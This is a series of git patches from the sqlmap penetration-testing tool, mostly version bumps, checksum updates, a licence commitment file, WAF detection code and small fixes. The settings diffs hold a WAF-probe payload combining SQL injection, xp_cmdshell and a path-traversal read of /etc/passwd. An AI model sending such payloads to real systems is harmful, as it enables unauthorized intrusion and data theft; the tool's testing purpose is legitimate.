1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index da26eee8ac4..b62a048ea62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -231,7 +231,7 @@ # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") -MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema") +MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL') SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") From 44a8242d2f8e662094b8a39597acd072ec298194 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Jan 2019 21:07:51 +0100 Subject: [PATCH 075/800] Dummy commit to force md5-resum --- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- txt/common-columns.txt | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b62a048ea62..03c8d24b830 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.72" +VERSION = "1.3.1.73" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1c690d5f98e..4e9e1d49442 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -568792efda46b66327bb5e42ee5f136f lib/core/settings.py +4f46f6e3c01512d8e39aae2a61390a15 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py diff --git a/txt/common-columns.txt b/txt/common-columns.txt index ad302d3b302..5d7c5b62452 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -2604,4 +2604,4 @@ login_count # Misc -u_pass \ No newline at end of file +u_pass From 78da395506be29fa5497ba0afe7623f1306b677a Mon Sep 17 00:00:00 2001 From: Richard Fontana Date: Thu, 24 Jan 2019 05:07:13 -0500 Subject: [PATCH 076/800] Add GPL Cooperation Commitment (#3445) --- COMMITMENT | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 COMMITMENT diff --git a/COMMITMENT b/COMMITMENT new file mode 100644 index 00000000000..a687e0ddb6f --- /dev/null +++ b/COMMITMENT @@ -0,0 +1,46 @@ +GPL Cooperation Commitment +Version 1.0 + +Before filing or continuing to prosecute any legal proceeding or claim +(other than a Defensive Action) arising from termination of a Covered +License, we commit to extend to the person or entity ('you') accused +of violating the Covered License the following provisions regarding +cure and reinstatement, taken from GPL version 3. As used here, the +term 'this License' refers to the specific Covered License being +enforced. + + However, if you cease all violation of this License, then your + license from a particular copyright holder is reinstated (a) + provisionally, unless and until the copyright holder explicitly + and finally terminates your license, and (b) permanently, if the + copyright holder fails to notify you of the violation by some + reasonable means prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is + reinstated permanently if the copyright holder notifies you of the + violation by some reasonable means, this is the first time you + have received notice of violation of this License (for any work) + from that copyright holder, and you cure the violation prior to 30 + days after your receipt of the notice. + +We intend this Commitment to be irrevocable, and binding and +enforceable against us and assignees of or successors to our +copyrights. + +Definitions + +'Covered License' means the GNU General Public License, version 2 +(GPLv2), the GNU Lesser General Public License, version 2.1 +(LGPLv2.1), or the GNU Library General Public License, version 2 +(LGPLv2), all as published by the Free Software Foundation. + +'Defensive Action' means a legal proceeding or claim that We bring +against you in response to a prior proceeding or claim initiated by +you or your affiliate. + +'We' means each contributor to this repository as of the date of +inclusion of this file, including subsidiaries of a corporate +contributor. + +This work is available under a Creative Commons Attribution-ShareAlike +4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/). From 4b5457903a85d26c4ab0596d6b5fc196d91a59ab Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 24 Jan 2019 11:36:48 +0100 Subject: [PATCH 077/800] Minor update --- extra/shutils/precommit-hook.sh | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 +++- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 35fa5fc284e..00804eb4da5 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -39,4 +39,4 @@ then fi truncate -s 0 "$CHECKSUM_FULLPATH" -cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done +cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -name "*_" -o -type f -regex "./[^./]*" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done diff --git a/lib/core/settings.py b/lib/core/settings.py index 03c8d24b830..bbbb0423176 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.73" +VERSION = "1.3.1.74" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4e9e1d49442..03291f93b16 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -1,3 +1,4 @@ +7ad922bcc16462a101862b1b0b15182f COMMITMENT 3d37032b2bd62ee37bd61c5b7ad31ab4 extra/beep/beep.py fb6be55d21a70765e35549af2484f762 extra/beep/__init__.py 8b4237aae3b82c325e0b34f6adfa0bc3 extra/cloak/cloak.py @@ -49,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -4f46f6e3c01512d8e39aae2a61390a15 lib/core/settings.py +f59bb60ed2e0a30ed73b1ff174e2d950 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -119,6 +120,7 @@ b79654e49850937ab2dc8e0d73625cab lib/utils/purge.py 68f90f633d812ca428d2f15f016b2d96 lib/utils/timeout.py 164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py a5007113e3cda726e1d131b99b927284 lib/utils/xrange.py +28da82c0afa4d8a0e9848f7bd8e994b7 LICENSE b8656f4785d0945e68257107a171f945 plugins/dbms/access/connector.py b0e4f4aed8504f97d4044620d3a7d27d plugins/dbms/access/enumeration.py 58d664d680087596965f95b482157320 plugins/dbms/access/filesystem.py From e01a7908aaa326347f64e83c7492e1d481543b76 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 26 Jan 2019 12:36:03 +0100 Subject: [PATCH 078/800] Trivial renaming update --- lib/controller/checks.py | 4 ++-- lib/core/settings.py | 6 +++--- lib/request/connect.py | 4 ++-- txt/checksum.md5 | 8 ++++---- waf/generic.py | 4 ++-- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index cea5a4652ef..835e8bacf8e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -86,7 +86,7 @@ from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET -from lib.core.settings import IDS_WAF_CHECK_PAYLOAD +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IDS_WAF_CHECK_RATIO from lib.core.settings import IDS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH @@ -1353,7 +1353,7 @@ def checkWaf(): logger.info(infoMsg) retVal = False - payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) + payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD) if PLACE.URI in conf.parameters: place = PLACE.POST diff --git a/lib/core/settings.py b/lib/core/settings.py index bbbb0423176..ce38438f0fa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.74" +VERSION = "1.3.1.75" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -536,7 +536,7 @@ CHECK_INTERNET_VALUE = "IP Address Details" # Payload used for checking of existence of WAF/IPS (dummier the better) -IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" +IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Vectors used for provoking specific WAF/IPS behavior(s) WAF_ATTACK_VECTORS = ( @@ -544,7 +544,7 @@ "search=", "file=../../../../etc/passwd", "q=foobar", - "id=1 %s" % IDS_WAF_CHECK_PAYLOAD + "id=1 %s" % IPS_WAF_CHECK_PAYLOAD ) # Used for status representation in dictionary attack phase diff --git a/lib/request/connect.py b/lib/request/connect.py index b179fa7e3fa..4c65187c6ae 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -103,7 +103,7 @@ class WebSocketException(Exception): from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MAX_TIME_RESPONSES -from lib.core.settings import IDS_WAF_CHECK_PAYLOAD +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER @@ -1284,7 +1284,7 @@ def _randomizeParameter(paramString, randomParameter): if conf.secondUrl: page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) - elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""): + elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""): def _(value): if kb.customInjectionMark in (value or ""): if payload is None: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 03291f93b16..1174ff7b5f6 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -24,7 +24,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py -9f12e798cb9b194a61f8e278c689fb22 lib/controller/checks.py +d392dbccdb59ac36530c1182675a2609 lib/controller/checks.py b37a93767459162b30798bd9732a12a3 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -f59bb60ed2e0a30ed73b1ff174e2d950 lib/core/settings.py +4452b55a638f30718bddea46b64db046 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py 97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -27927a37edfa9c2dfb6e5de9e859d10f lib/request/connect.py +28faffc0aeb0d8a3e78063f195488536 lib/request/connect.py 7cba86090b02558f04c6692cef66e772 lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py @@ -422,7 +422,7 @@ af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 5df01dde939c0d22bc163730873e9854 waf/expressionengine.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py -0e9eb20967d2dde941cca8c663a63e1f waf/generic.py +447f6d63b6f691a852ca198afaaac4a6 waf/generic.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py 27385b15477031a3aff25df601a1ff51 waf/greywizard.py 256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py diff --git a/waf/generic.py b/waf/generic.py index 31335e1f91e..4f4fabb5fe0 100644 --- a/waf/generic.py +++ b/waf/generic.py @@ -9,7 +9,7 @@ from lib.core.data import kb from lib.core.settings import GENERIC_PROTECTION_REGEX -from lib.core.settings import IDS_WAF_CHECK_PAYLOAD +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Generic (Unknown)" @@ -24,7 +24,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - if code >= 400 or (IDS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): + if code >= 400 or (IPS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): if code is not None: kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), page) From a303d6712ec008cc95e80d93784db89e831084f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jan 2019 12:30:51 +0100 Subject: [PATCH 079/800] Patch related to the #3455 --- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 10 ++++------ txt/checksum.md5 | 4 ++-- 3 files changed, 7 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ce38438f0fa..cbf2390f872 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.75" +VERSION = "1.3.1.76" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 820a2196833..8cbee817056 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -81,18 +81,16 @@ def retrieve(self, key, unserialize=False): try: for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)): retVal = row[0] - except sqlite3.OperationalError as ex: + except (sqlite3.OperationalError, sqlite3.DatabaseError) as ex: if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")): warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) singleTimeWarnMessage(warnMsg) elif "Could not decode" in getSafeExString(ex): break else: - raise - except sqlite3.DatabaseError as ex: - errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) - errMsg += "If the problem persists please rerun with '--flush-session'" - raise SqlmapConnectionException(errMsg) + errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex)) + errMsg += "If the problem persists please rerun with '--flush-session'" + raise SqlmapConnectionException(errMsg) else: break diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1174ff7b5f6..34815af8e53 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -4452b55a638f30718bddea46b64db046 lib/core/settings.py +be251fb51accf69378bd62ae3ebbe9e1 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -108,7 +108,7 @@ b27421eb57cea711050135f84be99258 lib/utils/crawler.py da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py 0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py -d11f7f208ccf3a7753ccc417b4b01901 lib/utils/hashdb.py +ce65061a15d7b609b36c672b8e824f78 lib/utils/hashdb.py 07412688758500c3b4e46ae7e28e9709 lib/utils/hash.py 17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py From a52328bfba0f248c2c80a82f36249b238f9dbeea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jan 2019 14:29:58 +0100 Subject: [PATCH 080/800] Adding new WAF script (Bekchy) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 ++- waf/bekchy.py | 21 +++++++++++++++++++++ 3 files changed, 24 insertions(+), 2 deletions(-) create mode 100644 waf/bekchy.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cbf2390f872..dc8d7f5ddb7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.76" +VERSION = "1.3.1.77" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 34815af8e53..9902b0673d5 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -be251fb51accf69378bd62ae3ebbe9e1 lib/core/settings.py +bfe6a2546516592208294b3fd9962e06 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -407,6 +407,7 @@ b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py 46a1d30bb52048c2092593acfa71bd52 waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py +941714dfea605d59cb1544e5c376ac58 waf/bekchy.py 1712d76bd4adb705f3317ff5908acdcd waf/bitninja.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py 8385218d8a1863dbfd4274db36880dfe waf/cerber.py diff --git a/waf/bekchy.py b/waf/bekchy.py new file mode 100644 index 00000000000..96035d9793b --- /dev/null +++ b/waf/bekchy.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Bekchy (Faydata Information Technologies Inc.)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("Bekchy - Access Denided", "")) + if retval: + break + + return retval From b3777995b2a17ce6ed93e8c98c66324b9711e9af Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jan 2019 14:55:38 +0100 Subject: [PATCH 081/800] Minor patch for progress dots --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index f9fa6add207..5dd279c99bd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -885,7 +885,7 @@ def setColor(message, color=None, bold=False): elif level: level = getattr(logging, level, None) if isinstance(level, basestring) else level retVal = LOGGER_HANDLER.colorize(message, level) - kb.stickyLevel = level if message and message[-1] != "\n" else None + kb.stickyLevel = level if message and message[-1] != "\n" and message != '.' else None return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index dc8d7f5ddb7..ab8263ac082 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.77" +VERSION = "1.3.1.78" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9902b0673d5..f98e7c42499 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -d6961903f261635b2eb3fe7e9c35e8ce lib/core/common.py +20e2ae9aaa173586d49f9e4c0baa5fb6 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -bfe6a2546516592208294b3fd9962e06 lib/core/settings.py +67ddffec8291af66e1eb0c10cc1161bf lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From dddff45adb94f08d76eb52bec595552389d85978 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jan 2019 14:59:31 +0100 Subject: [PATCH 082/800] Patch for --update progress --- lib/core/common.py | 7 +++++-- lib/core/settings.py | 2 +- lib/core/update.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 10 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5dd279c99bd..ffaeb04d43b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -884,8 +884,11 @@ def setColor(message, color=None, bold=False): retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: level = getattr(logging, level, None) if isinstance(level, basestring) else level - retVal = LOGGER_HANDLER.colorize(message, level) - kb.stickyLevel = level if message and message[-1] != "\n" and message != '.' else None + if message != '.': + retVal = LOGGER_HANDLER.colorize(message, level) + kb.stickyLevel = level if message and message[-1] != "\n" else None + else: + kb.stickyLevel = None return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index ab8263ac082..51ed5059dcd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.78" +VERSION = "1.3.1.79" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/update.py b/lib/core/update.py index 6a3f984c742..154452e2515 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -103,7 +103,7 @@ def update(): debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) - dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f98e7c42499..48f8f1671d6 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -20e2ae9aaa173586d49f9e4c0baa5fb6 lib/core/common.py +f97e6dc62b453cc787ef7f801ee1af5b lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py @@ -50,14 +50,14 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -67ddffec8291af66e1eb0c10cc1161bf lib/core/settings.py +22d863656bbd0c35477126043a0110f3 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py e9788d2992f842cf91ab67389bf4372a lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py -ff45c74515fecc95277f7b9ad945f17c lib/core/update.py +54e9cd1968adea11283d44631f0ca400 lib/core/update.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py fb6be55d21a70765e35549af2484f762 lib/__init__.py 4881480d0c1778053908904e04570dc3 lib/parse/banner.py From e8f505b7010c8d2f168ed961b16af6b62c641a1b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jan 2019 17:40:06 +0100 Subject: [PATCH 083/800] First memory leak patched (related to the #3459) 